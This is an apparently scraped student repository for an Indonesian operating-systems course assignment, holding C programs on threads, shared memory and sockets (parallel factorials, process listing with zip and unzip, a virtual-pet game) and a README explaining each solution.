iter=0; if(pthread_equal(id,tid[0])){ system("ps aux | head -11 > /home/drajad/Documents/FolderProses1/SimpanProses1.txt"); } else if(pthread_equal(id,tid[1])){ system("ps aux | head -11 > /home/drajad/Documents/FolderProses2/SimpanProses2.txt"); } iter=1; return NULL; } void* compress_file(void *arg){ while(iter!=1){ } pthread_t id=pthread_self(); if(pthread_equal(id,tid[2])){ system("zip -qmj /home/drajad/Documents/FolderProses1/KompresProses1.zip /home/drajad/Documents/FolderProses1/SimpanProses1.txt"); } else if(pthread_equal(id,tid[3])){ system("zip -qmj /home/drajad/Documents/FolderProses2/KompresProses2.zip /home/drajad/Documents/FolderProses2/SimpanProses2.txt"); } iter=2; return NULL; } void* extract_file(void *arg){ while(iter!=2){ } sleep(15); pthread_t id=pthread_self(); if(pthread_equal(id,tid[4])){ system("unzip -qd /home/drajad/Documents/FolderProses1 /home/drajad/Documents/FolderProses1/KompresProses1.zip"); } else if(pthread_equal(id,tid[5])){ system("unzip -qd /home/drajad/Documents/FolderProses2 /home/drajad/Documents/FolderProses2/KompresProses2.zip"); } return NULL; } int main(void) { int i=0, cek; while(i<2){ cek=pthread_create(&(tid[i]),NULL,&creating_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } while(i<4){ cek=pthread_create(&(tid[i]),NULL,&compress_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } printf("\n Menunggu 15 detik untuk mengekstrak kembali\n Sabar Coi \n\n"); while(i<6){ cek=pthread_create(&(tid[i]),NULL,&extract_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } pthread_join(tid[0],NULL); pthread_join(tid[1],NULL); pthread_join(tid[2],NULL); pthread_join(tid[3],NULL); pthread_join(tid[4],NULL); pthread_join(tid[5],NULL); return 0; } <file_sep>#include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> int faktorial[50]; int j=1; pthread_t tid[50]; void *func_faktorial(void *args){ int i, hasil=1; for(i=1; i<=faktorial[j]; i++){ hasil = hasil*i; } printf("%d! = %d\n", faktorial[j], hasil); j++; } int main(int argc, void *argv[]){ int i=1, j, k; while(argv[i] != NULL){ faktorial[i] = atoi(argv[i]); i++; } for(j=1; j<argc; j++){ for(k=j+1; k<argc; k++){ int angka1 = faktorial[j]; int angka2 = faktorial[k]; if(angka1 > angka2){ char *temp = argv[k]; int temp2 = faktorial[k]; faktorial[k] = faktorial[j]; faktorial[j] = temp2; argv[k] = argv[j]; argv[j] = temp; } } } for(i=1; i<argc; i++){ pthread_create(&(tid[i-1]), NULL, &func_faktorial, (void*) argv[i]); } for(i=1; i<argc; i++){ pthread_join(tid[i-1], NULL); } return 0; } <file_sep># Penjelasan Soal Shift Modul 3 ### Nomer 1 * Diminta untuk membuat program C yang bisa menghitung faktorial secara parallel lalu menampilkan hasilnya secara berurutan Contoh: ./faktorial 5 3 4 3! = 6 4! = 24 5! = 120 ###### Jawab Source Code: [soal1.c](https://github.com/xhazimix/SoalShift_modul3_B07/blob/master/soal1/soal1.c) * Menyimpan input dari command line dengan memanfaatkan argc dan argv * Menggunakan strtol untuk mengubah value string menjadi int ``` int main(int argc, char *argv[]){ int i; for(i=0; i<argc-1; i++){ int a = strtol(argv[i+1], NULL, 10); } } ``` * Fungsi faktorial yang digunakan adalah rekursi ``` int func_faktorial(int data){ if(data == 0) return 1; else return (data * func_faktorial(data-1)); } ``` * Menggunakan priority queue ascending agar lebih mudah dalam pengeluaran output * Terdapat tiga fungsi yang digunakan ``` void display_pq(); void check(); void insert_pq(); ``` ### Nomer 2 * Diminta membuat dua server [server-pembeli](https://github.com/xhazimix/SoalShift_modul3_B07/blob/master/soal2/server-pembeli.c) dan [server-penjual](https://github.com/xhazimix/SoalShift_modul3_B07/blob/master/soal2/server-penjual.c) * 1 server terhubung satu client : membedakan portnya port 8080 dan port 9090 * Mempunyai penyimpanan yang sama : menggunakan shared memory ``` key_t key = 1234; int *value; int shmid = shmget(key, sizeof(int), IPC_CREAT | 0666); value = shmat(shmid, NULL, 0); ``` * Client penjual hanya bisa menambah dengan mengirimkan string "Tambah" 1. Membuat input di client ``` char *nambah; scanf("%s", nambah); ``` 2. Membuat fungsi tambah di server ``` void *nambah(void *k) { int *barang; barang=(void *)k; *barang+=1; } ``` * Client pembeli hanya bisa mengurangi dengan mengirimkan string "Beli" 1. Membuat input di client ``` char *kurang; scanf("%s", kurang); ``` 2. Membuat fungsi kurang di server ``` void *kurang(void *k) { int *barang; barang=(void *)k; if(*barang>0) { *barang-=1; } } ``` * Mengirimkan info ke client apakah transaksi berhasil atau tidak ``` char *gagal="Transaksi Gagal"; char *berhasil="Transaksi Berhasil"; if(*barang<=0) { send(new_socket , gagal , strlen(gagal) , 0 ); } else { send(new_socket , berhasil , strlen(berhasil) , 0 ); } ``` * Server penjual akan mencetak stok setiap 5 detik ``` void *cetak(void *c) { int *barang; barang=(void *)c; printf("STock barang = %d\n", *barang); sleep(5); } ``` * Menggunakan thread, socket dan shared memory : semua codingan saya menggunakan template yang disediakan di modul 3 ### Nomer 3 Source Code : [soal3.c] (https://github.com/xhazimix/SoalShift_modul3_B07/blob/master/soal3/soal3.c) * Membuat kedua karakter (Agmal dan Iraj) menjadi dua fungsi void ``` void agmal(void *ptr){ ... } void iraj(void *ptr){ ... } ``` * Kemudian, kedua fungsi ini akan dijalankan bersama-sama menggunakan thread ``` pthread_t tid[3]; pthread_create(&tid[0], NULL, iraj, NULL); pthread_create(&tid[1], NULL, agmal, NULL); ... pthread_join(tid[0], NULL); pthread_join(tid[1], NULL); ``` * Semua status yang dibutuhkan diinisialisasi pada awal code. Count digunakan untuk menghitung, flag digunakan untuk penanda syarat agar program diberhentikan terpenuhi, dan agmal_wakeup serta iraj_sleep digunakan untuk penanda user memberikan command ke fungsi agmal atau iraj ``` int WakeUp_Status = 0; int Spirit_Status = 100; int All_Status = 0; int agmal_wakeup = 0; int iraj_sleep = 0; int agmal_count = 0; int iraj_count = 0; int flag = 0; ``` * "All Status", yaitu menampilkan status kedua sahabat ``` if(strcmp(input, "All Status") == 0){ All_Status = 1; printf("Agmal WakeUp_status = %d\n", WakeUp_Status); printf("Iraj Spirit_status = %d\n\n", Spirit_Status); } ``` * “Agmal Ayo Bangun” menambah WakeUp_Status Agmal sebesar 15 point dan jika Spirit_Status Iraj <= 0, program akan berhenti. ``` if(iraj_sleep && agmal_count < 3){ iraj_sleep = 0; Spirit_Status -= 20; iraj_count++; if(Spirit_Status <= 0){ printf("Iraj ikut tidur, dan bangun kesiangan bersama Agmal\n"); exit(1); //program berhenti } } ``` * “<NAME>” mengurangi Spirit_Status Iraj sebanyak 20 point dan jika WakeUp_Status Agmal >= 100, program akan berhenti. ``` if(agmal_wakeup && iraj_count < 3){ agmal_wakeup = 0; WakeUp_Status += 15; agmal_count++; if(WakeUp_Status >= 100){ printf("Agmal Terbangun, mereka bangun pagi dan berolahraga\n"); exit(1); //program berhenti } } ``` * Jika Fitur “<NAME>” dijalankan sebanyak 3 kali, maka secara otomatis fitur “<NAME>” tidak bisa dijalankan selama 10 detik menggunakan sleep(10) ``` if(agmal_count == 3){ printf("Fitur <NAME> disabled 10 s\n"); sleep(10); iraj_sleep = 0; agmal_count = 0; printf("Fitur <NAME> telah aktif\n"); } ``` * Jika Fitur “<NAME>” dijalankan sebanyak 3 kali, maka Fitur “<NAME>” Tidak bisa dijalankan selama 10 detik menggunakan sleep(10); ``` if(iraj_count == 3){ printf("Agmal Ayo Bangun disabled 10 s\n"); sleep(10); agmal_wakeup = 0; iraj_count = 0; printf("Fitur <NAME> telah aktif\n"); } ``` ### Nomer 4 * Membuat fungsi untuk menyimpan ps-aux minimal 10 ``` void* creating_file(void *arg){ pthread_t id=pthread_self(); iter=0; if(pthread_equal(id,tid[0])){ system("ps aux | head -11 > /home/drajad/Documents/FolderProses1/SimpanProses1.txt"); } else if(pthread_equal(id,tid[1])){ system("ps aux | head -11 > /home/drajad/Documents/FolderProses2/SimpanProses2.txt"); } iter=1; return NULL; } ``` Keterangan : 1. head -11 digunakan untuk membatasi jumlah progam yang dimasukkan di dalam file, karena yang diminta maximal 10 -> maka mengambil batas -11, kalau mengambil batas -10 nanti yang masuk di progam 9 2. variabel iter nanti digunakan untuk mengecek eror * Membuat fungsi untuk mengkompress ``` void* compress_file(void *arg){ while(iter!=1){ } pthread_t id=pthread_self(); if(pthread_equal(id,tid[2])){ system("zip -qmj /home/drajad/Documents/FolderProses1/KompresProses1.zip /home/drajad/Documents/FolderProses1/SimpanProses1.txt"); } else if(pthread_equal(id,tid[3])){ system("zip -qmj /home/drajad/Documents/FolderProses2/KompresProses2.zip /home/drajad/Documents/FolderProses2/SimpanProses2.txt"); } iter=2; return NULL; } ``` Keterangan : 1. Diminta untuk menghapus langsung file setelah di zip, oleh karena itu saya menggunakan -qmj, secara otomatis akan menghapus file lama 2. Karena diminta untuk menaruh file kompresnya pada file tertentu maka format pengisian zipnya (nama file zip dengan direktorinya) dan (nama file yang akan di kompress dengan direktorinya) * Membuat fungsi untuk mengextract file ``` void* extract_file(void *arg){ while(iter!=2){ } sleep(15); pthread_t id=pthread_self(); if(pthread_equal(id,tid[4])){ system("unzip -qd /home/drajad/Documents/FolderProses1 /home/drajad/Documents/FolderProses1/KompresProses1.zip"); } else if(pthread_equal(id,tid[5])){ system("unzip -qd /home/drajad/Documents/FolderProses2 /home/drajad/Documents/FolderProses2/KompresProses2.zip"); } return NULL; } ``` Keterangan : 1. Menggunakan -qd karena hasil extractnya diminta untuk ditaruh pada file tertentu 2. Format pengisiannya (tempat file extractnya) dan (tempat file kompresnya beserta direktorinya) * Karena takut terjadi kesalahan saat proses pembuatan file, mengkompres, atau mengextract, maka saya membuat kondisi untuk menampilkan eror yang terjadi jika terdapat kesalahan ``` int i=0, cek; while(i<2){ cek=pthread_create(&(tid[i]),NULL,&creating_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } while(i<4){ cek=pthread_create(&(tid[i]),NULL,&compress_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } printf("\n Menunggu 15 detik untuk mengekstrak kembali\n Sabar Coi \n\n"); while(i<6){ cek=pthread_create(&(tid[i]),NULL,&extract_file,NULL); if(cek!=0){ printf("\n can't create thread : [%s]",strerror(cek)); } i++; } ``` Keterangan : 1. while pertama digunakan untuk menjalankan fungsi creating_file dan mengecek apa ada kesalahan pada proses pembuatan file 2. while kedua digunakan untuk menjalankan fungsi compress_file dan mengcek apa ada kesalahan pada proses kompress file 3. whike ketiga digunakan untuk menjalankan fungsi extract_file dan mengecek apa ada kesalahan pada proses extract file * Karena diminta untuk menjalankan secara bersamaan, maka digunakan pthread_join ``` pthread_join(tid[0],NULL); pthread_join(tid[1],NULL); pthread_join(tid[2],NULL); pthread_join(tid[3],NULL); pthread_join(tid[4],NULL); pthread_join(tid[5],NULL); ``` ### Nomer 5 * Pemain memelihara seekor monster lucu dalam permainan. Pemain dapat memberi nama pada monsternya ``` printf("Masukkan nama monster : "); scanf ("%49[^\n]",monster_name); ``` Keterangan : 1. menggunakan %49[^\n] agar hasil scannya dapat mendeteksi karakter spasi 2. angkanya 49 sebab total char yang digunakan 50 * Maksimal hunger status dapat bertambah sebanyak 15 bila diberi makan, jumlah stock toko akan berkurang, dan apabila hunger status sudah melebihi 200 maka akan direset ulang menjadi 200 ``` if(food_stock>0){ printf("\nFeeding your monster\n"); hunger_status+=15; food_stock--; if(hunger_status>200){ hunger_status=200; } } ``` * Monster memiliki hygiene status, dapat berkurang 5 tiap 10 detik dan apabila dimandikan dapat bertambah sebanyak 30, mandi hanya dapat dilakukan setiap 20 detik sekali ``` if(bath_status==1){ printf("\nCleaning your monster\n"); sleep(1); bath_status=0; hygiene_status+=30; if(hygiene_status>100){ hygiene_status=100; } } else if(bath_status==0){ printf("\nBath not yet ready\n"); sleep(1); } ``` * terdapat Battle mode, yang memiliki menu untuk attack dan run ``` enemy_hp=100; while(1){ layer=2; char choose_battle; choose_battle=getch(); if(choose_battle=='1'){ enemy_hp-=20; hp-=20; if(enemy_hp<=0){ printf("\n You WIN\n\n"); break; } else if(hp<=0){ printf("\n You LOSE NOOB\n\n"); exit(EXIT_FAILURE); } } if(choose_battle=='2'){ layer=1; break; } } ``` Keterangan : 1. layer==2 untuk mengganti tampilannya menjadi tampilan Battle Mode * Ada Shop Mode, berfungsi untuk membeli makanan di toko apabila toko tersebut masih mempunyai stock makanan ``` while(1){ layer=3; char choose_shop; choose_shop=getch(); if(choose_shop=='1'){ if(*shop_food_stock>0){ food_stock+=1; *shop_food_stock-=1; } else{ printf("\nSorry, Items SOLD OUT\n"); } } if(choose_shop=='2'){ layer=1; break; } } ``` Keterangan : 1. layer==3 untuk menampilkan menu shop mode * Fungsi exit untuk keluar dari menu ``` system("clear"); printf("\nSEE YOU NEXT TIME!\n\n"); exit(EXIT_FAILURE); ``` * Fungsi untuk share memori antara toko dan aplikasi ``` void *shared_memory(void *pointer){ key_t key=1234; int shmid=shmget(key, sizeof(int), IPC_CREAT | 0666); shop_food_stock=shmat(shmid, NULL, 0); *shop_food_stock=2; } ``` Keterangan : 1. key variabel untuk menyimpan alamat mana data disimpan 2. *shop_food_stock=2 set stock toko = 2 * Fungsi untuk menampilkan Standby Mode ``` void *standby(void *menu){ while(1){ while(layer!=1){ } system("clear"); printf("\n-----%s's Profile-----\n\n", monster_name); printf("Health status : %d\n", hp); printf("Hunger : %d\n", hunger_status); printf("Hygiene : %d\n", hygiene_status); printf("Food left : %d\n", food_stock); if(bath_status!=1){ printf("Bath will ready in : %d\n", time_bath); } else { printf("Bath is ready\n"); } printf("1. Eat\n"); printf("2. Bath\n"); printf("3. Battle\n"); printf("4. Shop\n"); printf("5. Exit\n"); sleep(1); } } ``` * Fungsi untuk menampilkan Battle Mode ``` void *battle(void *menu){ while(1){ while(layer!=2){ } system("clear"); printf("\nBATTLE MODE\n\n"); printf("Monster's Health : %d\n", hp); printf("Enemy's Health : %d\n", enemy_hp); printf("Choices\n"); printf("1. Attack\n"); printf("2. Run\n"); sleep(1); } } ``` * Fungsi untuk menampilkan Shop Mode ``` void *shop(void *menu){ while(1){ while(layer!=3){ } system("clear"); printf("\nSHOP MODE\n\n"); printf("Shop food stock : %d\n", *shop_food_stock); printf("Your food stock : %d\n", food_stock); printf("Choices\n"); printf("1. Buy\n"); printf("2. Back\n"); sleep(1); } } ``` * Fungsi untuk menampilkan cooldown mandi ``` void *bath_ready(void *pointer){ while(1){ while(bath_status==1){ } sleep(1); if(time_bath==1){ time_bath=20; bath_status=1; } else{ time_bath--; } } } ``` * Fungsi untuk regenerasi health ``` void *regen_hp(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_regen==1){ time_regen=10; hp+=5; } else{ time_regen--; } if(hp<=0){ printf("Monster anda mati karena dicabut nyawanya oleh malaikat maut\n"); exit(EXIT_FAILURE); } } } ``` * Fungsi untuk mengurangi hunger status ``` void *decrement_hunger(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_hunger==1){ time_hunger=10; hunger_status-=5; } else{ time_hunger--; } if(hunger_status<=0){ printf("Monster mati karena kamu pelit makanan\n"); exit(EXIT_FAILURE); } } } ``` * Fungsi untuk mengurangi hygiene status ``` void *decrement_hygiene(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_hygiene==1){ time_hygiene=30; hygiene_status-=10; } else{ time_hygiene--; } if(hygiene_status<=0){ printf("Monster mati karena anda dan peliharaan anda jarang mandi\n"); exit(EXIT_FAILURE); } } } ``` <file_sep># SoalShift_modul3_B07 05111740000082 <NAME> 05111740000158 Sudrajad <NAME>aputra <file_sep>#include<stdio.h> #include<stdlib.h> #include<termios.h> #include<pthread.h> #include<unistd.h> #include<sys/ipc.h> #include<sys/shm.h> pthread_t tid[8]; int hp=300; char monster_name[50]; int hunger_status=200; int hygiene_status=100; int enemy_hp=100; int food_stock=100; int *shop_food_stock; int layer=1; int battle_mode=0; int bath_status=0; int time_hunger=10; int time_hygiene=30; int time_regen=10; int time_bath=20; static struct termios old, new; /* Initialize new terminal i/o settings */ void initTermios(int echo) { tcgetattr(0, &old); /* grab old terminal i/o settings */ new = old; /* make new settings same as old settings */ new.c_lflag &= ~ICANON; /* disable buffered i/o */ if (echo) { new.c_lflag |= ECHO; /* set echo mode */ } else { new.c_lflag &= ~ECHO; /* set no echo mode */ } tcsetattr(0, TCSANOW, &new); /* use these new terminal i/o settings now */ } /* Restore old terminal i/o settings */ void resetTermios(void) { tcsetattr(0, TCSANOW, &old); } char getch_(int echo) { char ch; initTermios(echo); ch = getchar(); resetTermios(); return ch; } /* Read 1 character without echo */ char getch(void) { return getch_(0); } void *standby(void *menu){ while(1){ while(layer!=1){ } system("clear"); printf("\n-----%s's Profile-----\n\n", monster_name); printf("Health status : %d\n", hp); printf("Hunger : %d\n", hunger_status); printf("Hygiene : %d\n", hygiene_status); printf("Food left : %d\n", food_stock); if(bath_status!=1){ printf("Bath will ready in : %d\n", time_bath); } else { printf("Bath is ready\n"); } printf("1. Eat\n"); printf("2. Bath\n"); printf("3. Battle\n"); printf("4. Shop\n"); printf("5. Exit\n"); sleep(1); } } void *bath_ready(void *pointer){ while(1){ while(bath_status==1){ } sleep(1); if(time_bath==1){ time_bath=20; bath_status=1; } else{ time_bath--; } } } void *shop(void *menu){ while(1){ while(layer!=3){ } system("clear"); printf("\nSHOP MODE\n\n"); printf("Shop food stock : %d\n", *shop_food_stock); printf("Your food stock : %d\n", food_stock); printf("Choices\n"); printf("1. Buy\n"); printf("2. Back\n"); sleep(1); } } void *shared_memory(void *pointer){ key_t key=1234; int shmid=shmget(key, sizeof(int), IPC_CREAT | 0666); shop_food_stock=shmat(shmid, NULL, 0); *shop_food_stock=2; } void *battle(void *menu){ while(1){ while(layer!=2){ } system("clear"); printf("\nBATTLE MODE\n\n"); printf("Monster's Health : %d\n", hp); printf("Enemy's Health : %d\n", enemy_hp); printf("Choices\n"); printf("1. Attack\n"); printf("2. Run\n"); sleep(1); } } void *regen_hp(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_regen==1){ time_regen=10; hp+=5; } else{ time_regen--; } if(hp<=0){ printf("Monster anda mati karena dicabut nyawanya oleh malaikat maut\n"); exit(EXIT_FAILURE); } } } void *decrement_hunger(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_hunger==1){ time_hunger=10; hunger_status-=5; } else{ time_hunger--; } if(hunger_status<=0){ printf("Monster mati karena kamu pelit makanan\n"); exit(EXIT_FAILURE); } } } void *decrement_hygiene(void *pointer){ while(1){ while(layer==2){ } sleep(1); if(time_hygiene==1){ time_hygiene=30; hygiene_status-=10; } else{ time_hygiene--; } if(hygiene_status<=0){ printf("Monster mati karena anda dan peliharaan anda jarang mandi\n"); exit(EXIT_FAILURE); } } } int main(){ char choose; printf("Masukkan nama monster : "); scanf ("%49[^\n]",monster_name); pthread_create(&(tid[0]),NULL,standby,NULL); pthread_create(&(tid[1]),NULL,bath_ready,NULL); pthread_create(&(tid[2]),NULL,shop,NULL); pthread_create(&(tid[3]),NULL,shared_memory,NULL); pthread_create(&(tid[4]),NULL,battle,NULL); pthread_create(&(tid[5]),NULL,regen_hp,NULL); pthread_create(&(tid[6]),NULL,decrement_hunger,NULL); pthread_create(&(tid[7]),NULL,decrement_hygiene,NULL); while(1){ choose=getch(); if(choose=='1'){ if(food_stock>0){ printf("\nFeeding your monster\n"); hunger_status+=15; food_stock--; if(hunger_status>200){ hunger_status=200; } } } else if(choose=='2'){ if(bath_status==1){ printf("\nCleaning your monster\n"); sleep(1); bath_status=0; hygiene_status+=30; if(hygiene_status>100){ hygiene_status=100; } } else if(bath_status==0){ printf("\nBath not yet ready\n"); sleep(1); } } else if(choose=='3'){ enemy_hp=100; while(1){ layer=2; char choose_battle; choose_battle=getch(); if(choose_battle=='1'){ enemy_hp-=20; hp-=20; if(enemy_hp<=0){ printf("\n You WIN\n\n"); break; } else if(hp<=0){ printf("\n You LOSE NOOB\n\n"); exit(EXIT_FAILURE); } } if(choose_battle=='2'){ layer=1; break; } } } else if(choose=='4'){ while(1){ layer=3; char choose_shop; choose_shop=getch(); if(choose_shop=='1'){ if(*shop_food_stock>0){ food_stock+=1; *shop_food_stock-=1; } else{ printf("\nSorry, Items SOLD OUT\n"); } } if(choose_shop=='2'){ layer=1; break; } } } else if(choose=='5'){ system("clear"); printf("\nSEE YOU NEXT TIME!\n\n"); exit(EXIT_FAILURE); } } pthread_join(tid[0],NULL); pthread_join(tid[1],NULL); pthread_join(tid[2],NULL); pthread_join(tid[3],NULL); pthread_join(tid[4],NULL); pthread_join(tid[5],NULL); pthread_join(tid[6],NULL); pthread_join(tid[7],NULL); return 0; } <file_sep>#include<stdio.h> #include<stdlib.h> #include<string.h> #include<pthread.h> #include<unistd.h> #include<stdbool.h> int WakeUp_Status = 0; int Spirit_Status = 100; int All_Status = 0; int agmal_wakeup = 0; int iraj_sleep = 0; int agmal_count = 0; int iraj_count = 0; int flag = 0; void *agmal(void *ptr){ while(WakeUp_Status < 100 && Spirit_Status > 0){ if(agmal_wakeup && iraj_count < 3){ agmal_wakeup = 0; WakeUp_Status += 15; agmal_count++; if(WakeUp_Status >= 100){ printf("Agmal Terbangun, mereka bangun pagi dan berolahraga\n"); exit(1); } } if(iraj_count == 3){ printf("Agmal Ayo Bangun disabled 10 s\n"); sleep(10); agmal_wakeup = 0; iraj_count = 0; printf("Fitur Agmal Ayo Bangun telah aktif\n"); } } flag = 1; } void *iraj(void *fitur){ while(WakeUp_Status < 100 && Spirit_Status > 0){ if(iraj_sleep && agmal_count < 3){ iraj_sleep = 0; Spirit_Status -= 20; iraj_count++; if(Spirit_Status <= 0){ printf("Iraj ikut tidur, dan bangun kesiangan bersama Agmal\n"); exit(1); } } if(agmal_count == 3){ printf("Fitur Iraj Ayo Tidur disabled 10 s\n"); sleep(10); iraj_sleep = 0; agmal_count = 0; printf("Fitur <NAME> telah aktif\n"); } } flag = 1; } int main(){ pthread_t tid[3]; pthread_create(&tid[0], NULL, iraj, NULL); pthread_create(&tid[1], NULL, agmal, NULL); while(flag == 0){ char *input = malloc(100); while(1){ scanf("%[^\n]%*c", input); if(strcmp(input, "All Status") == 0){ All_Status = 1; printf("Agmal WakeUp_status = %d\n", WakeUp_Status); printf("Iraj Spirit_status = %d\n\n", Spirit_Status); } else if(strcmp(input, "<NAME>") == 0) agmal_wakeup = 1; else if(strcmp(input, "<NAME>") == 0) iraj_sleep = 1; } } pthread_join(tid[0], NULL); pthread_join(tid[1], NULL); exit(0); return 0; }
d20d47530e53f8aa0a28ebd57334c8c2678e20d8
[ "Markdown", "C" ]
7
C
xhazimix/SoalShift_modul3_B07
5f96e46e4a218b198e4215e85061a46575b12b49
1ecb27485ab5399e2f48f32e1729e4615129d5f5